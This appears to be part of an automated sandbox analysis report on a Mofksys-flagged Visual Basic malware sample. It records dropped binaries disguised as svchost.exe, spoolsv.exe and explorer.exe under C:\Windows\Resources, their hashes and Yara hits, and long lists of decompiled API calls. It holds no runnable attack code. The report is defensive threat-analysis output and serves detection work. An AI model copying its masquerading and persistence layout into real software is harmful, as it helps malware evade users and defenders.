Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000008.00000002.515627841.0000000000402000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000008.00000000.485612261.0000000000401000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\spoolsv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	9
Start time:	23:57:02
Start date:	16/07/2022
Path:	C:\Windows\Resources\svchost.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\resources\svchost.exe
Imagebase:	0x400000
File size:	138302 bytes
MD5 hash:	E2A51AD55E5850D878E994E774D44ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000009.00000002.700388006.0000000000402000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000009.00000000.487856728.0000000000401000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\svchost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	10
Start time:	23:57:04
Start date:	16/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff78ca80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	11
Start time:	23:57:10
Start date:	16/07/2022
Path:	C:\Windows\Resources\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\resources\spoolsv.exe PR
Imagebase:	0x400000
File size:	138457 bytes
MD5 hash:	A97B2BA7591F981B8BBB1CE5E78C8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 0000000B.00000002.507320494.0000000000402000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 0000000B.00000000.505285070.0000000000401000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	12
Start time:	23:57:22
Start date:	16/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff78ca80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	23:57:24
Start date:	16/07/2022
Path:	C:\Windows\Resources\Themes\explorer.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\resources\themes\explorer.exe" RO
Imagebase:	0x400000
File size:	138466 bytes
MD5 hash:	DD8285E811872E2562A43A04A7B27672
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 0000000D.00000000.534411467.0000000000401000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 0000000D.00000002.536439832.0000000000402000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	16
Start time:	23:57:35
Start date:	16/07/2022
Path:	C:\Windows\Resources\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\resources\svchost.exe" RO
Imagebase:	0x400000
File size:	138302 bytes
MD5 hash:	E2A51AD55E5850D878E994E774D44ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000010.00000002.563844103.0000000000402000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000010.00000000.557848995.0000000000401000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	18
Start time:	23:58:15
Start date:	16/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff78ca80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	8.5%
Total number of Nodes:	1667
Total number of Limit Nodes:	45

Executed Functions

Function 00410180 Relevance: 52.7, APIs: 35, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,00409D5A,00000000), ref: 0041019E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004101CE
__vbaAryConstruct2.MSVBVM60(?,004068A0,00000003,?,?,?,00000000,004025E6), ref: 004101DF
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004101EE
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,004025E6), ref: 0041020A
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128), ref: 00410244
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041025A
__vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?), ref: 00410273
#525.MSVBVM60(00000104), ref: 0041029C
__vbaStrMove.MSVBVM60 ref: 004102A7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 004102DE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041031D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 00410338
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041035E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041036F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00410384
#616.MSVBVM60(?,?,?,00000000), ref: 00410399
__vbaStrMove.MSVBVM60(?,00000000), ref: 004103A7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004103BE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004103CA
__vbaLenBstr.MSVBVM60(?,?,00000000), ref: 004103DB
__vbaStrCat.MSVBVM60(?,0040614C,?,00000001,?,00000000), ref: 00410402
__vbaStrMove.MSVBVM60(?,00000000), ref: 00410410
__vbaStrCat.MSVBVM60(0040614C,00000000,?,00000000), ref: 0041041C
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041042A
__vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 00410433
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 00410459
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128,?,00000000), ref: 0041049A
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 004104B0
__vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?,?,00000000), ref: 004104C9
FindCloseChangeNotification.KERNELBASE(?), ref: 004104ED
__vbaFreeStr.MSVBVM60(0041054B), ref: 00410517
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041052F
__vbaFreeStr.MSVBVM60 ref: 00410538
__vbaFreeStr.MSVBVM60 ref: 00410544

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$Free$AnsiMoveSystem$#525#616BoundsBstrChangeChkstkCloseConstruct2CopyDestructFindGenerateListNotificationUnicode
String ID:
API String ID: 1228785046-0
Opcode ID: 0e7fc902b34ffcf9e67cdb1769bf0c1f0fb471222fd1f6da1b4fc70dbbb803ea
Instruction ID: ed4df61ca57589e4cb6a89f15fcf2a92bf343cb87a1231b53511e749ac9c114a
Opcode Fuzzy Hash: 0e7fc902b34ffcf9e67cdb1769bf0c1f0fb471222fd1f6da1b4fc70dbbb803ea
Instruction Fuzzy Hash: D9A13EB5901218DFDB14DFA0DE4DBDEB7B4BB48304F1081A9E50AB72A0DB745A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00408C50 Relevance: 670.6, APIs: 377, Strings: 5, Instructions: 2055
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00408C5A
__vbaStrCopy.MSVBVM60 ref: 00408C67
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408C77
__vbaStrCopy.MSVBVM60 ref: 00408C8F

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?), ref: 00408CA3
__vbaStrCopy.MSVBVM60 ref: 00408CB0
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408CC0
__vbaStrCopy.MSVBVM60 ref: 00408CD8

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

__vbaStrMove.MSVBVM60(?), ref: 00408CEC
__vbaStrCopy.MSVBVM60 ref: 00408CF9
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408D09
__vbaStrCopy.MSVBVM60 ref: 00408D21
__vbaStrMove.MSVBVM60(?), ref: 00408D35
__vbaStrCopy.MSVBVM60 ref: 00408D42
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00408D52
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408DB5
__vbaStrMove.MSVBVM60 ref: 00408DC0
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408DCE
__vbaStrMove.MSVBVM60 ref: 00408DD9
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408DE5
__vbaStrMove.MSVBVM60 ref: 00408DF0
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408DFD
__vbaStrMove.MSVBVM60 ref: 00408E08
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E16
__vbaStrMove.MSVBVM60 ref: 00408E21
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408E2D
__vbaStrMove.MSVBVM60 ref: 00408E38
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E46
__vbaStrMove.MSVBVM60 ref: 00408E51
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408E5E
__vbaStrMove.MSVBVM60 ref: 00408E69
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408E75
__vbaFreeStrList.MSVBVM60(00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 00408EB2
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408ECE
__vbaStrMove.MSVBVM60 ref: 00408ED9
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408EE7
__vbaStrMove.MSVBVM60 ref: 00408EF2
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408EFE
__vbaStrMove.MSVBVM60 ref: 00408F09
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F16
__vbaStrMove.MSVBVM60 ref: 00408F21
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F2F
__vbaStrMove.MSVBVM60 ref: 00408F3A
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408F46
__vbaStrMove.MSVBVM60 ref: 00408F51
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F5F
__vbaStrMove.MSVBVM60 ref: 00408F6A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00408F77
__vbaStrMove.MSVBVM60 ref: 00408F82
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00408F8E
__vbaFreeStrList.MSVBVM60(00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 00408FCB
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408FE7
__vbaStrMove.MSVBVM60 ref: 00408FF2
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409000
__vbaStrMove.MSVBVM60 ref: 0040900B
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409017
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,00000000), ref: 0040903C
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00409057
__vbaStrMove.MSVBVM60 ref: 00409062
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409070
__vbaStrMove.MSVBVM60 ref: 0040907B
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409087
__vbaStrMove.MSVBVM60 ref: 00409092
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090A0
__vbaStrMove.MSVBVM60 ref: 004090AB
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090B8
__vbaStrMove.MSVBVM60 ref: 004090C3
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 004090CF
__vbaStrMove.MSVBVM60 ref: 004090DA
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090E8
__vbaStrMove.MSVBVM60 ref: 004090F3
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409101
__vbaStrMove.MSVBVM60 ref: 0040910C
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409118
__vbaStrMove.MSVBVM60 ref: 00409123
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409130
__vbaStrMove.MSVBVM60 ref: 0040913B
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409149
__vbaStrMove.MSVBVM60 ref: 00409154
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409160
__vbaStrMove.MSVBVM60 ref: 0040916B
__vbaFreeStrList.MSVBVM60(0000000C,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004091A9
__vbaStrMove.MSVBVM60 ref: 00409022

Part of subcall function 00410180: FindCloseChangeNotification.KERNELBASE(?), ref: 004104ED
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(0041054B), ref: 00410517
Part of subcall function 00410180: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041052F
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60 ref: 00410538
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60 ref: 00410544

__vbaStrMove.MSVBVM60 ref: 00408F99

Part of subcall function 00410180: __vbaGenerateBoundsError.MSVBVM60 ref: 0041031D
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041035E
Part of subcall function 00410180: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041036F
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(?,00000000), ref: 00410384
Part of subcall function 00410180: #616.MSVBVM60(?,?,?,00000000), ref: 00410399
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 004103A7
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,?,00000000), ref: 004103BE
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(?,00000000), ref: 004103CA
Part of subcall function 00410180: __vbaLenBstr.MSVBVM60(?,?,00000000), ref: 004103DB
Part of subcall function 00410180: __vbaStrCat.MSVBVM60(?,0040614C,?,00000001,?,00000000), ref: 00410402
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 00410410
Part of subcall function 00410180: __vbaStrCat.MSVBVM60(0040614C,00000000,?,00000000), ref: 0041041C
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 0041042A
Part of subcall function 00410180: __vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 00410433
Part of subcall function 00410180: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 00410459
Part of subcall function 00410180: __vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128,?,00000000), ref: 0041049A
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 004104B0
Part of subcall function 00410180: __vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?,?,00000000), ref: 004104C9

__vbaStrMove.MSVBVM60 ref: 00408E80

Part of subcall function 00410180: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,00409D5A,00000000), ref: 0041019E
Part of subcall function 00410180: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004101CE
Part of subcall function 00410180: __vbaAryConstruct2.MSVBVM60(?,004068A0,00000003,?,?,?,00000000,004025E6), ref: 004101DF
Part of subcall function 00410180: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004101EE
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,004025E6), ref: 0041020A
Part of subcall function 00410180: __vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128), ref: 00410244
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041025A
Part of subcall function 00410180: __vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?), ref: 00410273
Part of subcall function 00410180: #525.MSVBVM60(00000104), ref: 0041029C
Part of subcall function 00410180: __vbaStrMove.MSVBVM60 ref: 004102A7
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 004102DE
Part of subcall function 00410180: __vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 00410338

__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 004091D2
#580.MSVBVM60(00000000,00000027,00000000,00000000,0041B088,00000000), ref: 00409245
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040925D
#600.MSVBVM60(00000008,00000000), ref: 00409273
__vbaFreeVar.MSVBVM60 ref: 00409282
__vbaSetSystemError.MSVBVM60 ref: 004092A4
__vbaStrCopy.MSVBVM60 ref: 004092B9
__vbaStrMove.MSVBVM60(?), ref: 004092CD
__vbaStrCopy.MSVBVM60 ref: 004092DA
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004092EA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040930E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405A00,0000005C), ref: 00409354

Strings

RO, xrefs: 00409EF6, 00409F5D
PR, xrefs: 00409516
Once, xrefs: 00409F1B, 00409F81
SE, xrefs: 00409258
~, xrefs: 00409FD4

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$Copy$List$Error$System$Ansi$#516#631$Bstr$#525#537#580#600#616BoundsChangeCheckChkstkCloseConstruct2DestructFindGenerateHresultNotificationUnicode
String ID: PR$ RO$ SE$Once$~
API String ID: 3290240664-1255219571
Opcode ID: d5fff701b2953cd860e5e11b1a5544c82864759be8fb13f2454ba8dac6c0f824
Instruction ID: 7d3b41f73b1118d4cefcb71df8c3f05656ff7fe774afdbe4e31ac6fe335ab197
Opcode Fuzzy Hash: d5fff701b2953cd860e5e11b1a5544c82864759be8fb13f2454ba8dac6c0f824
Instruction Fuzzy Hash: A213EC75910208EFDB14EFE0EE58ADE7B79FF48301F108169F606A72A0DB745A49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00407A50 Relevance: 316.2, APIs: 178, Strings: 2, Instructions: 1164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 00407A6E
__vbaNew2.MSVBVM60(004055D8,0041B8D8,?,?,?,?,004025E6), ref: 00407AC6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055C8,00000014), ref: 00407B2C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,00000068), ref: 00407B8C
__vbaFreeObj.MSVBVM60 ref: 00407BB5
__vbaEnd.MSVBVM60 ref: 00407BCD
__vbaNew2.MSVBVM60(004055D8,0041B8D8), ref: 00407BED
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055C8,00000014), ref: 00407C53
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,0000007C), ref: 00407CAE
__vbaFreeObj.MSVBVM60 ref: 00407CC9
__vbaHresultCheckObj.MSVBVM60(00000000,?,004053E4,000001BC), ref: 00407D0D
__vbaNew2.MSVBVM60(004055D8,0041B8D8), ref: 00407D3F
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004055C8,00000014), ref: 00407DA5
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,00000050), ref: 00407E02
#618.MSVBVM60(?,00000001), ref: 00407E20
__vbaStrMove.MSVBVM60 ref: 00407E2B
__vbaStrCmp.MSVBVM60(004055FC,00000000), ref: 00407E37
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00407E55
__vbaFreeObj.MSVBVM60(?,?,004025E6), ref: 00407E61
__vbaNew2.MSVBVM60(004055D8,0041B8D8,?,?,004025E6), ref: 00407E90
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055C8,00000014), ref: 00407EF6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,00000050), ref: 00407F53
__vbaStrMove.MSVBVM60 ref: 00407F84
__vbaFreeObj.MSVBVM60 ref: 00407F8D
__vbaNew2.MSVBVM60(004055D8,0041B8D8,?,?,004025E6), ref: 00407FB2
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055C8,00000014), ref: 00408018
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,00000050), ref: 00408075
__vbaStrCat.MSVBVM60(004055FC,?), ref: 00408096
__vbaStrMove.MSVBVM60 ref: 004080A1
__vbaFreeStr.MSVBVM60 ref: 004080AA
__vbaFreeObj.MSVBVM60 ref: 004080B3
__vbaStrCopy.MSVBVM60 ref: 004080C8
__vbaStrMove.MSVBVM60(?), ref: 004080DC
__vbaStrCopy.MSVBVM60 ref: 004080E9
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004080F9
__vbaNew2.MSVBVM60(004055D8,0041B8D8,?,?,?,?,?,004025E6), ref: 0040811C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055C8,00000014), ref: 00408182
__vbaHresultCheckObj.MSVBVM60(00000000,?,004055E8,00000058), ref: 004081DF
__vbaStrCat.MSVBVM60(?,?), ref: 004081FF
__vbaStrMove.MSVBVM60 ref: 0040820A
__vbaStrCat.MSVBVM60(004057CC,00000000), ref: 00408216
__vbaStrMove.MSVBVM60 ref: 00408221
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040822F
__vbaStrMove.MSVBVM60 ref: 0040823A
#517.MSVBVM60(00000000), ref: 00408241
__vbaStrMove.MSVBVM60 ref: 0040824C
__vbaStrCopy.MSVBVM60 ref: 00408259
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00408275
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 00408281
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 00408296

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 004082AA
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 004082B7
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 004082C7
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 004082DF

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

